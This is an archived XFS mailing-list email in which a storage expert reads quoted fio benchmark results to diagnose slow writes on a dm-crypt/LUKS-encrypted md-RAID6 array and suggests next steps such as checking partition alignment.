X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 23A0D7F5F for ; Sun, 22 Dec 2013 11:29:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8DBD4AC002 for ; Sun, 22 Dec 2013 09:29:37 -0800 (PST) X-ASG-Debug-ID: 1387733375-04cb6c537b8b4c30001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id ZGWDF0VF1fsQBiXo for ; Sun, 22 Dec 2013 09:29:36 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 7706C6C0BD; Sun, 22 Dec 2013 11:29:35 -0600 (CST) Message-ID: <52B7217C.3010809@hardwarefreak.com> Date: Sun, 22 Dec 2013 11:29:32 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@pzystorm.de, xfs@oss.sgi.com Subject: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> <52B118A9.8080905@hardwarefreak.com> <52B178AA.6040302@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <52B439D1.3020205@hardwarefreak.com> <52B6500D.3050800@pzystorm.de> <52B69EF5.2060903@hardwarefreak.com> <52B6F2ED.2010609@pzystorm.de> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn In-Reply-To: <52B6F2ED.2010609@pzystorm.de> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1387733375 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/22/2013 8:10 AM, Kevin Richter wrote: >> I'm glad you changed to size=1G instead of size=10G > No no, I didnt change that. It has been written 160GB on these disks. 80 > for the read part, 80 for the write part. Each test took round 30 minutes. I read this "read : io=81920MB" without the zero hence my incorrect assumption. Again, my apologies for the length test runs. Use "1g" from now on as that should be plenty to get good data, and run quickly. >> This is also a RAID6 array, without dm-crypt? > Yeah, right. The same 5 disks in RAID6 mode, just in each case another > partition on these disks. And yes, of course, XFS. > > So, with your new config I have made 7 fio runs: > 1) 15GB RAID6 array, stripe 256 > 2) 15GB RAID6 array, stripe 1024 > 3) 15GB RAID6 array, stripe 2048 > 4) 15GB RAID6 array, stripe 4096 > 5) 3TB LUKS volume (no raid, just one single disk) > 6) 6TB RAID6+LUKS array, stripe 256 > 7) 6TB RAID6+LUKS array, stripe 2048 > > In the 15GB array a stripe size of 4096 seems to get slightly more > throughput than 2048. > > See below for the results :-) > > Perhaps, I should give you another information about the server > hardware, which might (but hopefully do not) explain the low performance: > The server is that one: > http://www.supermicro.com/products/system/2u/6027/ssg-6027r-e1r12l.cfm > with a 12-port SAS expander, which is that one: > http://www.thomas-krenn.com/de/wiki/BPN-SAS-826EL1_SAS_Expander_Backplane > But the backplane should have a thoughput of 3Gb/s The hardware is fine. You have 1.2GB/s <-> the backplane. > However... I am very curious about your comments :-) 3) 15GB RAID6 array, stripe 2048: READ: io=4092.0MB, aggrb=207827KB/s, minb=212814KB/s, maxb=212814KB/s WRITE: io=4092.0MB, aggrb=145832KB/s, minb=149332KB/s, maxb=149332KB/s ~50MB/s per drive * 5 drives = ~250 MB/s This may simply be the md-RAID6 max write you'll get from these drives. But 145MB/s aggregate write throughput is still decidedly better than 90MB/s, some 62% faster than the encrypted array. 5) 3TB LUKS volume (no raid, just one single disk): READ: io=4092.0MB, aggrb=125032KB/s, minb=128033KB/s, maxb=128033KB/s WRITE: io=4092.0MB, aggrb=158192KB/s, minb=161989KB/s, maxb=161989KB/s ~160MB/s per drive, ~160MB/s dm-crypt throughput 7) 6TB LUKS array, stripe 2048: READ: io=4092.0MB, aggrb=237499KB/s, minb=243199KB/s, maxb=243199KB/s WRITE: io=4092.0MB, aggrb=90652KB/s, minb=92827KB/s, maxb=92827KB/s ~30MB/s per drive * 5 drives = ~150MB/s dm-crypt throughput. Write throughput is ~100MB/s lower on your RAID6 w/dm-crypt than without. Read throughput however is ~30MB/s higher, though these differences may not be as great with multiple runs and normalized data. Even so, since the read throughput is roughly the same at 71-81MB/s per drive, both with/out encryption, I don't believe the difference in write speed is due to platter placement of the filesystems and test files. So at this point I'd guess we need to look at dm-crypt, which may be peaking a core or unaligning your IOs causing RMW cycles. And look at your partitions under the encrypted RAID6 to see if they're aligned. We can identify the latter easily if you post 'fdisk -l' output for each of the 5 drives. Whether partitions are misaligned or dm-crypt is the problem, the fix in either case is very destructive and time consuming, requiring a full backup/restore after redoing the stack. -- Stan > Bye, > Kevin > > > ################################# > 1) 15GB RAID6 volume, stripe 256: >> read: (groupid=0, jobs=4): err= 0: pid=3959 >> read : io=4092.0MB, bw=217900KB/s, iops=141 , runt= 19230msec >> slat (usec): min=190 , max=1325 , avg=231.32, stdev=77.13 >> clat (msec): min=7 , max=326 , avg=111.45, stdev=67.48 >> lat (msec): min=7 , max=326 , avg=111.69, stdev=67.48 >> bw (KB/s) : min=29425, max=109280, per=24.98%, avg=54423.27, stdev=15887.11 >> cpu : usr=0.03%, sys=0.90%, ctx=2614, majf=0, minf=6233 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=2728/0/0, short=0/0/0 >> >> lat (msec): 10=0.66%, 20=4.84%, 50=16.35%, 100=25.70%, 250=47.91% >> lat (msec): 500=4.55% >> write: (groupid=1, jobs=4): err= 0: pid=3964 >> write: io=4092.0MB, bw=54044KB/s, iops=35 , runt= 77533msec >> slat (msec): min=9 , max=339 , avg=113.48, stdev=36.86 >> clat (msec): min=2 , max=744 , avg=339.51, stdev=70.02 >> lat (msec): min=23 , max=927 , avg=453.00, stdev=82.81 >> bw (KB/s) : min= 5475, max=20756, per=24.92%, avg=13467.27, stdev=2107.66 >> cpu : usr=0.58%, sys=6.26%, ctx=343060, majf=0, minf=550 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=0/2728/0, short=0/0/0 >> >> lat (msec): 4=0.04%, 10=0.04%, 50=0.11%, 100=0.26%, 250=5.94% >> lat (msec): 500=91.50%, 750=2.13% >> >> Run status group 0 (all jobs): >> READ: io=4092.0MB, aggrb=217899KB/s, minb=223129KB/s, maxb=223129KB/s, mint=19230msec, maxt=19230msec >> >> Run status group 1 (all jobs): >> WRITE: io=4092.0MB, aggrb=54044KB/s, minb=55341KB/s, maxb=55341KB/s, mint=77533msec, maxt=77533msec >> >> Disk stats (read/write): >> md1: ios=10912/10904, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=22836/29872, aggrmerge=364645/574313, aggrticks=216408/101340, aggrin_queue=317789, aggrutil=69.36% >> sdc: ios=23542/29233, merge=377270/563331, ticks=217520/152300, in_queue=369860, util=67.99% >> sdd: ios=23462/28930, merge=378915/557686, ticks=214104/142224, in_queue=356428, util=67.81% >> sde: ios=22264/29920, merge=355831/576114, ticks=149184/99724, in_queue=248924, util=58.22% >> sdf: ios=22240/30724, merge=352471/588412, ticks=126740/52916, in_queue=179696, util=55.44% >> sdg: ios=22676/30557, merge=358741/586025, ticks=374496/59540, in_queue=434040, util=69.36% > > ################################# > 2) 15GB RAID6 array, stripe 1024: >> read: (groupid=0, jobs=4): err= 0: pid=4334 >> read : io=4092.0MB, bw=237702KB/s, iops=154 , runt= 17628msec >> slat (usec): min=196 , max=1469 , avg=232.84, stdev=88.56 >> clat (msec): min=6 , max=391 , avg=101.62, stdev=56.61 >> lat (msec): min=7 , max=391 , avg=101.85, stdev=56.61 >> bw (KB/s) : min=26482, max=107305, per=24.94%, avg=59289.94, stdev=14153.87 >> cpu : usr=0.04%, sys=0.98%, ctx=2581, majf=0, minf=6241 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=2728/0/0, short=0/0/0 >> >> lat (msec): 10=0.22%, 20=3.08%, 50=16.83%, 100=31.01%, 250=47.10% >> lat (msec): 500=1.76% >> write: (groupid=1, jobs=4): err= 0: pid=4340 >> write: io=4092.0MB, bw=120759KB/s, iops=78 , runt= 34699msec >> slat (msec): min=1 , max=156 , avg=47.70, stdev=27.94 >> clat (msec): min=15 , max=520 , avg=152.37, stdev=53.34 >> lat (msec): min=28 , max=564 , avg=200.07, stdev=57.63 >> bw (KB/s) : min= 0, max=62270, per=25.04%, avg=30239.54, stdev=5435.51 >> cpu : usr=1.34%, sys=5.68%, ctx=134184, majf=0, minf=94 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=0/2728/0, short=0/0/0 >> >> lat (msec): 20=0.04%, 50=1.10%, 100=12.02%, 250=82.18%, 500=4.62% >> lat (msec): 750=0.04% >> >> Run status group 0 (all jobs): >> READ: io=4092.0MB, aggrb=237701KB/s, minb=243406KB/s, maxb=243406KB/s, mint=17628msec, maxt=17628msec >> >> Run status group 1 (all jobs): >> WRITE: io=4092.0MB, aggrb=120758KB/s, minb=123656KB/s, maxb=123656KB/s, mint=34699msec, maxt=34699msec >> >> Disk stats (read/write): >> md1: ios=10912/10901, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=4062/6768, aggrmerge=109645/369712, aggrticks=157952/111924, aggrin_queue=270487, aggrutil=89.91% >> sdc: ios=4070/6893, merge=109432/378682, ticks=173784/179392, in_queue=353780, util=89.88% >> sdd: ios=4041/6961, merge=110017/380798, ticks=164960/160236, in_queue=325820, util=89.91% >> sde: ios=4039/6727, merge=110658/366163, ticks=169804/166052, in_queue=336484, util=88.98% >> sdf: ios=4080/6591, merge=108922/359343, ticks=39460/24636, in_queue=64820, util=52.33% >> sdg: ios=4081/6668, merge=109197/363574, ticks=241752/29308, in_queue=271532, util=73.63% > > ################################# > 3) 15GB RAID6 array, stripe 2048: >> read: (groupid=0, jobs=4): err= 0: pid=4102 >> read : io=4092.0MB, bw=207827KB/s, iops=135 , runt= 20162msec >> slat (usec): min=122 , max=3904 , avg=230.75, stdev=99.04 >> clat (msec): min=5 , max=363 , avg=117.03, stdev=70.26 >> lat (msec): min=5 , max=363 , avg=117.27, stdev=70.25 >> bw (KB/s) : min=26533, max=104239, per=25.00%, avg=51947.24, stdev=13121.27 >> cpu : usr=0.05%, sys=0.83%, ctx=2640, majf=0, minf=6241 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=2728/0/0, short=0/0/0 >> >> lat (msec): 10=0.55%, 20=4.99%, 50=14.96%, 100=21.33%, 250=53.01% >> lat (msec): 500=5.17% >> write: (groupid=1, jobs=4): err= 0: pid=4108 >> write: io=4092.0MB, bw=145833KB/s, iops=94 , runt= 28733msec >> slat (usec): min=768 , max=94184 , avg=1838.20, stdev=4140.24 >> clat (msec): min=15 , max=1155 , avg=145.02, stdev=128.70 >> lat (msec): min=16 , max=1156 , avg=146.86, stdev=128.77 >> bw (KB/s) : min= 6144, max=104448, per=29.22%, avg=42617.70, stdev=17118.84 >> cpu : usr=1.63%, sys=2.52%, ctx=4086, majf=0, minf=94 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=0/2728/0, short=0/0/0 >> >> lat (msec): 20=0.37%, 50=9.02%, 100=38.42%, 250=39.22%, 500=10.12% >> lat (msec): 750=2.09%, 1000=0.59%, 2000=0.18% >> >> Run status group 0 (all jobs): >> READ: io=4092.0MB, aggrb=207827KB/s, minb=212814KB/s, maxb=212814KB/s, mint=20162msec, maxt=20162msec >> >> Run status group 1 (all jobs): >> WRITE: io=4092.0MB, aggrb=145832KB/s, minb=149332KB/s, maxb=149332KB/s, mint=28733msec, maxt=28733msec >> >> Disk stats (read/write): >> md1: ios=10912/10873, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=3018/4990, aggrmerge=79606/371231, aggrticks=152741/83319, aggrin_queue=236284, aggrutil=92.45% >> sdc: ios=2988/5046, merge=79033/376737, ticks=129600/103552, in_queue=233412, util=84.14% >> sdd: ios=3010/5140, merge=77101/390954, ticks=119032/103236, in_queue=222536, util=85.87% >> sde: ios=3039/5009, merge=79935/374563, ticks=196200/159792, in_queue=356236, util=92.45% >> sdf: ios=3021/4883, merge=80483/356643, ticks=29976/24956, in_queue=55100, util=49.53% >> sdg: ios=3033/4872, merge=81481/357261, ticks=288900/25060, in_queue=314136, util=76.17% > > ################################# > 4) 15GB RAID6 array, stripe 4096: >> read: (groupid=0, jobs=4): err= 0: pid=4411 >> read : io=4092.0MB, bw=214938KB/s, iops=139 , runt= 19495msec >> slat (usec): min=192 , max=1468 , avg=226.97, stdev=87.18 >> clat (msec): min=4 , max=339 , avg=112.51, stdev=63.05 >> lat (msec): min=4 , max=339 , avg=112.73, stdev=63.05 >> bw (KB/s) : min= 0, max=96000, per=24.87%, avg=53457.49, stdev=13728.88 >> cpu : usr=0.02%, sys=0.89%, ctx=2591, majf=0, minf=6241 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=2728/0/0, short=0/0/0 >> >> lat (msec): 10=0.15%, 20=4.62%, 50=13.56%, 100=26.43%, 250=52.20% >> lat (msec): 500=3.04% >> write: (groupid=1, jobs=4): err= 0: pid=4419 >> write: io=4092.0MB, bw=146526KB/s, iops=95 , runt= 28597msec >> slat (usec): min=822 , max=36057 , avg=1585.60, stdev=1174.08 >> clat (msec): min=14 , max=1132 , avg=142.49, stdev=126.05 >> lat (msec): min=15 , max=1134 , avg=144.08, stdev=126.08 >> bw (KB/s) : min= 0, max=83836, per=28.88%, avg=42315.69, stdev=18036.84 >> cpu : usr=1.42%, sys=2.85%, ctx=2937, majf=0, minf=94 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=0/2728/0, short=0/0/0 >> >> lat (msec): 20=0.18%, 50=10.08%, 100=37.61%, 250=40.62%, 500=8.50% >> lat (msec): 750=2.46%, 1000=0.44%, 2000=0.11% >> >> Run status group 0 (all jobs): >> READ: io=4092.0MB, aggrb=214937KB/s, minb=220096KB/s, maxb=220096KB/s, mint=19495msec, maxt=19495msec >> >> Run status group 1 (all jobs): >> WRITE: io=4092.0MB, aggrb=146526KB/s, minb=150042KB/s, maxb=150042KB/s, mint=28597msec, maxt=28597msec >> >> Disk stats (read/write): >> md1: ios=10912/10895, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=3013/5053, aggrmerge=78083/371841, aggrticks=151707/88554, aggrin_queue=240554, aggrutil=92.72% >> sdc: ios=2981/5124, merge=77153/379556, ticks=142800/116248, in_queue=259356, util=87.13% >> sdd: ios=2990/5182, merge=75443/390196, ticks=128184/107752, in_queue=236264, util=86.87% >> sde: ios=3034/5057, merge=77882/372755, ticks=185048/159352, in_queue=344636, util=92.72% >> sdf: ios=3035/4941, merge=79423/356692, ticks=29196/28100, in_queue=57520, util=50.56% >> sdg: ios=3026/4963, merge=80518/360009, ticks=273308/31320, in_queue=304996, util=76.24% > > ################################################### > 5) 3TB LUKS volume (no raid, just one single disk): >> read: (groupid=0, jobs=4): err= 0: pid=31359 >> read : io=4092.0MB, bw=125032KB/s, iops=81 , runt= 33513msec >> slat (usec): min=86 , max=1404 , avg=125.10, stdev=97.21 >> clat (msec): min=26 , max=323 , avg=195.52, stdev=39.04 >> lat (msec): min=26 , max=323 , avg=195.65, stdev=39.03 >> bw (KB/s) : min=21982, max=41890, per=25.12%, avg=31405.62, stdev=3662.77 >> cpu : usr=0.02%, sys=0.31%, ctx=2738, majf=0, minf=6233 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=2728/0/0, short=0/0/0 >> >> lat (msec): 50=0.51%, 100=2.38%, 250=93.07%, 500=4.03% >> write: (groupid=1, jobs=4): err= 0: pid=31364 >> write: io=4092.0MB, bw=158193KB/s, iops=102 , runt= 26488msec >> slat (usec): min=181 , max=673 , avg=442.78, stdev=67.26 >> clat (msec): min=21 , max=555 , avg=154.33, stdev=45.35 >> lat (msec): min=21 , max=555 , avg=154.77, stdev=45.35 >> bw (KB/s) : min=19097, max=45988, per=25.04%, avg=39617.62, stdev=5714.79 >> cpu : usr=1.00%, sys=0.25%, ctx=2737, majf=0, minf=86 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=0/2728/0, short=0/0/0 >> >> lat (msec): 50=0.44%, 100=1.54%, 250=94.61%, 500=3.15%, 750=0.26% >> >> Run status group 0 (all jobs): >> READ: io=4092.0MB, aggrb=125032KB/s, minb=128033KB/s, maxb=128033KB/s, mint=33513msec, maxt=33513msec >> >> Run status group 1 (all jobs): >> WRITE: io=4092.0MB, aggrb=158192KB/s, minb=161989KB/s, maxb=161989KB/s, mint=26488msec, maxt=26488msec >> >> Disk stats (read/write): >> dm-1: ios=8184/8196, merge=0/0, ticks=1521200/1235264, in_queue=2759104, util=99.58%, aggrios=8184/8225, aggrmerge=0/31, aggrticks=1421660/1137984, aggrin_queue=2559612, aggrutil=99.49% >> sda: ios=8184/8225, merge=0/31, ticks=1421660/1137984, in_queue=2559612, util=99.49% > > ############################## > 6) 6TB LUKS array, stripe 256: >> read: (groupid=0, jobs=4): err= 0: pid=31121 >> read : io=4092.0MB, bw=137700KB/s, iops=89 , runt= 30430msec >> slat (usec): min=123 , max=1353 , avg=157.35, stdev=91.53 >> clat (msec): min=15 , max=545 , avg=148.80, stdev=61.30 >> lat (msec): min=15 , max=545 , avg=148.96, stdev=61.29 >> bw (KB/s) : min= 0, max=129024, per=29.75%, avg=40959.72, stdev=21470.47 >> cpu : usr=0.01%, sys=0.51%, ctx=2797, majf=0, minf=6241 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=2728/0/0, short=0/0/0 >> >> lat (msec): 20=0.29%, 50=9.90%, 100=12.76%, 250=75.07%, 500=1.58% >> lat (msec): 750=0.40% >> write: (groupid=1, jobs=4): err= 0: pid=31131 >> write: io=4092.0MB, bw=41225KB/s, iops=26 , runt=101643msec >> slat (usec): min=197 , max=1309 , avg=557.69, stdev=124.14 >> clat (msec): min=42 , max=2648 , avg=586.07, stdev=393.18 >> lat (msec): min=43 , max=2649 , avg=586.63, stdev=393.19 >> bw (KB/s) : min= 0, max=35583, per=26.36%, avg=10867.00, stdev=5232.75 >> cpu : usr=0.33%, sys=0.09%, ctx=2699, majf=0, minf=94 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=0/2728/0, short=0/0/0 >> >> lat (msec): 50=0.07%, 100=1.39%, 250=18.55%, 500=31.82%, 750=20.49% >> lat (msec): 1000=12.57%, 2000=14.66%, >=2000=0.44% >> >> Run status group 0 (all jobs): >> READ: io=4092.0MB, aggrb=137699KB/s, minb=141004KB/s, maxb=141004KB/s, mint=30430msec, maxt=30430msec >> >> Run status group 1 (all jobs): >> WRITE: io=4092.0MB, aggrb=41224KB/s, minb=42214KB/s, maxb=42214KB/s, mint=101643msec, maxt=101643msec >> >> Disk stats (read/write): >> dm-0: ios=10912/10906, merge=0/0, ticks=1385524/5596828, in_queue=6983364, util=99.89%, aggrios=10912/10940, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% >> md2: ios=10912/10940, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=20710/27494, aggrmerge=358521/573067, aggrticks=208334/119186, aggrin_queue=327551, aggrutil=61.95% >> sdc: ios=21005/27276, merge=366645/567533, ticks=224772/179916, in_queue=404728, util=61.95% >> sdd: ios=21154/26926, merge=369215/564213, ticks=212876/160624, in_queue=373552, util=60.42% >> sde: ios=20460/27449, merge=354440/571659, ticks=127008/102188, in_queue=229220, util=48.28% >> sdf: ios=20464/27908, merge=350591/581422, ticks=241608/78180, in_queue=319784, util=55.24% >> sdg: ios=20470/27915, merge=351718/580509, ticks=235408/75024, in_queue=310472, util=55.91% > > ############################### > 7) 6TB LUKS array, stripe 2048: >> read: (groupid=0, jobs=4): err= 0: pid=30910 >> read : io=4092.0MB, bw=237500KB/s, iops=154 , runt= 17643msec >> slat (usec): min=134 , max=1511 , avg=165.25, stdev=96.45 >> clat (msec): min=16 , max=859 , avg=101.07, stdev=61.40 >> lat (msec): min=17 , max=859 , avg=101.23, stdev=61.40 >> bw (KB/s) : min=32807, max=97523, per=25.40%, avg=60325.02, stdev=15396.63 >> cpu : usr=0.02%, sys=0.76%, ctx=2709, majf=0, minf=6233 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=2728/0/0, short=0/0/0 >> >> lat (msec): 20=0.07%, 50=13.38%, 100=48.90%, 250=34.38%, 500=3.08% >> lat (msec): 750=0.15%, 1000=0.04% >> write: (groupid=1, jobs=4): err= 0: pid=30915 >> write: io=4092.0MB, bw=90652KB/s, iops=59 , runt= 46223msec >> slat (usec): min=173 , max=983 , avg=599.60, stdev=141.06 >> clat (msec): min=34 , max=1185 , avg=258.48, stdev=135.97 >> lat (msec): min=34 , max=1185 , avg=259.08, stdev=135.98 >> bw (KB/s) : min= 0, max=88722, per=25.95%, avg=23524.06, stdev=9036.31 >> cpu : usr=0.77%, sys=0.22%, ctx=2576, majf=0, minf=86 >> IO depths : 1=0.1%, 2=0.3%, 4=99.6%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=0/2728/0, short=0/0/0 >> >> lat (msec): 50=0.48%, 100=7.00%, 250=49.01%, 500=37.72%, 750=5.10% >> lat (msec): 1000=0.59%, 2000=0.11% >> >> Run status group 0 (all jobs): >> READ: io=4092.0MB, aggrb=237499KB/s, minb=243199KB/s, maxb=243199KB/s, mint=17643msec, maxt=17643msec >> >> Run status group 1 (all jobs): >> WRITE: io=4092.0MB, aggrb=90652KB/s, minb=92827KB/s, maxb=92827KB/s, mint=46223msec, maxt=46223msec >> >> Disk stats (read/write): >> dm-0: ios=10912/10875, merge=0/0, ticks=544880/2481824, in_queue=3026996, util=99.57%, aggrios=10912/10930, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% >> md2: ios=10912/10930, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=5058/6798, aggrmerge=153871/404343, aggrticks=195870/113487, aggrin_queue=309447, aggrutil=92.15% >> sdc: ios=5024/7100, merge=152571/421782, ticks=332612/204936, in_queue=537660, util=92.15% >> sdd: ios=4961/7109, merge=150591/422166, ticks=257308/161200, in_queue=418608, util=88.11% >> sde: ios=5019/6697, merge=154781/395583, ticks=226120/152068, in_queue=378296, util=85.49% >> sdf: ios=5118/6463, merge=156068/385905, ticks=65716/23932, in_queue=89724, util=55.85% >> sdg: ios=5172/6624, merge=155347/396280, ticks=97596/25300, in_queue=122948, util=60.00% > > > > > > Am 22.12.2013 09:12, schrieb Stan Hoeppner: >> On 12/21/2013 8:35 PM, Kevin Richter wrote: >>> Okay, well, I've run your fio config... but with so many results and >> >> I'm glad you changed to size=1G instead of size=10G lest the test would >> have read/written 80GB instead of 8GB, and taken forever. I often >> forget the size parameter is per job (thread) not global. >> >>> abbrevations I currently feel a bit overchallenged :) >>> So, please dont take badly, if I just paste the whole results. >>> I have tried with a stripe cache size of 1024, 2048 and 4096. >> >> The full output is good. Going from 1024 to 2048 gained you ~17MB/s >> throughput with this job file. But you didn't run with the default 256 >> for comparison, which is very useful to know. That's ok, as you can do >> so with the next set of test runs. Given the huge latencies I'm >> thinking this config may be seeking the disks too much. Modify your fio >> job file as follows: >> >> numjobs=4 >> blocksize=1536k >> iodepth=4 >> size=1g >> >> as this may yield a little better results. ~190MB/s read and 75MB/s >> write is very low for three effective 7.2K RPM SATA spindles, especially >> the write throughput. Compare to a similar FIO job with 2 threads, >> iodepth 16, directio, run against a single 500GB 7.2K WD SATA drive, NQC >> disabled, w/deadline elevator: >> >> Run status group 0 (all jobs): >> READ: io=2048MB, aggrb=88663KB/s, minb=90791KB/s, maxb=90791KB/s >> Run status group 1 (all jobs): >> WRITE: io=2048MB, aggrb=108089KB/s, minb=110683KB/s, maxb=110683KB/s >> >> 88MB/s read, 108MB/s write. Write is faster apparently due to the small >> 16MB drive write cache. With your eight 2.4GHz SandyBridge cores and >> md-RAID6 on much newer larger 7.2K drives w/larger caches, you should >> have significantly greater write speed than this old single SATA drive. >> Currently you're showing 30MB/s slower write throughput, some 40% >> slower than this single drive. With aligned writes, thus no RMW, you >> should be getting at least 2 spindles worth of throughput, or ~200MB/s. >> >> So, run FIO again with the mods above, once with stripe_cache_size 256 >> and once with 2048. Something seems to be seriously dragging down your >> throughput. I'm sure you'd like to know what, and how to fix it. >> >>> Btw, I also have /dev/md1, this is a 15GB unencrypted array using the >>> same 5 disks like my LUKS-md2 array, so nearly the same just without >>> this LUKS layer. If helpful, I can execute some fio tests on this >>> filesystem, too. >> >> This is also a RAID6 array, without dm-crypt? If so this will afford a >> 